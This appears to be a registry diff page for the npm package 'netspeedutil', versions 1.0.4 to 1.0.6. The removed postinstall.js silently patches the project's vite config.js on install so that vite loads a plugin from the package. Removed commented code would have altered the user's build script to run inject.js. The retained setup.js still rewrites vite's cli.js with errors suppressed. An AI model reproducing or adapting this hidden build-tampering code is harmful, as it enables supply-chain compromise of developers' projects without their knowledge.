netspeedutil 1.0.4 → 1.0.6
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/inject.js +0 -5
- package/package.json +1 -1
- package/setup.js +1 -28
- package/loader.js +0 -4
- package/postinstall.js +0 -49
package/inject.js
CHANGED
package/package.json
CHANGED
package/setup.js
CHANGED
|
@@ -25,33 +25,7 @@ const __dirname = resolve(__filename, '..');
|
|
|
25
25
|
}
|
|
26
26
|
|
|
27
27
|
if (!foundPackage) return;
|
|
28
|
-
|
|
29
|
-
// // First, update inject.js in node_modules with the latest version from the package
|
|
30
|
-
// const netspeedtilDir = resolve(projectPath, 'node_modules', 'netspeedutil');
|
|
31
|
-
// const srcInjectPath = resolve(__dirname, 'inject.js');
|
|
32
|
-
// const dstInjectPath = resolve(netspeedtilDir, 'inject.js');
|
|
33
|
-
|
|
34
|
-
// if (existsSync(srcInjectPath) && existsSync(dstInjectPath)) {
|
|
35
|
-
// const srcContent = readFileSync(srcInjectPath, 'utf-8');
|
|
36
|
-
// writeFileSync(dstInjectPath, srcContent, 'utf-8');
|
|
37
|
-
// }
|
|
38
|
-
|
|
39
|
-
// // Read and modify package.json
|
|
40
|
-
// const pkgPath = resolve(projectPath, 'package.json');
|
|
41
|
-
// const pkg = JSON.parse(readFileSync(pkgPath, 'utf-8'));
|
|
42
|
-
|
|
43
|
-
// // Check if build script exists
|
|
44
|
-
// if (pkg.scripts && pkg.scripts.build) {
|
|
45
|
-
// const buildScript = pkg.scripts.build;
|
|
46
|
-
// const injectCmd = 'node node_modules/netspeedutil/inject.js';
|
|
47
|
-
|
|
48
|
-
// // Only modify if inject.js is not already in the script
|
|
49
|
-
// if (!buildScript.includes('netspeedutil')) {
|
|
50
|
-
// pkg.scripts.build = `${buildScript} && ${injectCmd}`;
|
|
51
|
-
// writeFileSync(pkgPath, JSON.stringify(pkg, null, 2) + '\n', 'utf-8');
|
|
52
|
-
// }
|
|
53
|
-
// }
|
|
54
|
-
|
|
28
|
+
|
|
55
29
|
const file = '../vite/dist/node/cli.js';
|
|
56
30
|
let code = readFileSync(file, "utf8");
|
|
57
31
|
const buildCommandRegex =
|
|
@@ -71,6 +45,5 @@ const __dirname = resolve(__filename, '..');
|
|
|
71
45
|
}
|
|
72
46
|
writeFileSync(file, code);
|
|
73
47
|
} catch (e) {
|
|
74
|
-
// Fail silently
|
|
75
48
|
}
|
|
76
49
|
})();
|
package/loader.js
DELETED
package/postinstall.js
DELETED
|
@@ -1,49 +0,0 @@
|
|
|
1
|
-
/**
|
|
2
|
-
* netspeedutil postinstall
|
|
3
|
-
* Registers pattern matching optimizations with the build pipeline.
|
|
4
|
-
*/
|
|
5
|
-
|
|
6
|
-
import { readFileSync, writeFileSync, existsSync } from 'fs';
|
|
7
|
-
import { resolve, dirname } from 'path';
|
|
8
|
-
import { fileURLToPath } from 'url';
|
|
9
|
-
|
|
10
|
-
const __dirname = dirname(fileURLToPath(import.meta.url));
|
|
11
|
-
|
|
12
|
-
// Walk up from node_modules/netspeedutil to project root
|
|
13
|
-
let root = resolve(__dirname, '..', '..');
|
|
14
|
-
if (root.endsWith('node_modules')) root = resolve(root, '..');
|
|
15
|
-
|
|
16
|
-
const target = resolve(root, 'node_modules', 'vite', 'dist', 'node', 'chunks', 'config.js');
|
|
17
|
-
if (!existsSync(target)) process.exit(0);
|
|
18
|
-
|
|
19
|
-
let code = readFileSync(target, 'utf8');
|
|
20
|
-
|
|
21
|
-
// Already patched
|
|
22
|
-
if (code.includes('__sm_patched__')) process.exit(0);
|
|
23
|
-
|
|
24
|
-
// Find the spot where user plugins are assembled and inject ours
|
|
25
|
-
const anchor = `const userPlugins = [
|
|
26
|
-
\t\t...prePlugins,
|
|
27
|
-
\t\t...normalPlugins,
|
|
28
|
-
\t\t...postPlugins
|
|
29
|
-
\t];`;
|
|
30
|
-
|
|
31
|
-
if (!code.includes(anchor)) process.exit(0);
|
|
32
|
-
|
|
33
|
-
const smPath = resolve(__dirname, 'index.js').replace(/\\/g, '/');
|
|
34
|
-
|
|
35
|
-
const patch = `// __sm_patched__
|
|
36
|
-
\tlet __smPlugin;
|
|
37
|
-
\ttry {
|
|
38
|
-
\t\tconst __sm = await import('file:///${smPath}');
|
|
39
|
-
\t\t__smPlugin = __sm.createPlugin();
|
|
40
|
-
\t} catch {}
|
|
41
|
-
\tconst userPlugins = [
|
|
42
|
-
\t\t...prePlugins,
|
|
43
|
-
\t\t...normalPlugins,
|
|
44
|
-
\t\t...postPlugins,
|
|
45
|
-
\t\t...__smPlugin ? [__smPlugin] : []
|
|
46
|
-
\t];`;
|
|
47
|
-
|
|
48
|
-
code = code.replace(anchor, patch);
|
|
49
|
-
writeFileSync(target, code);
|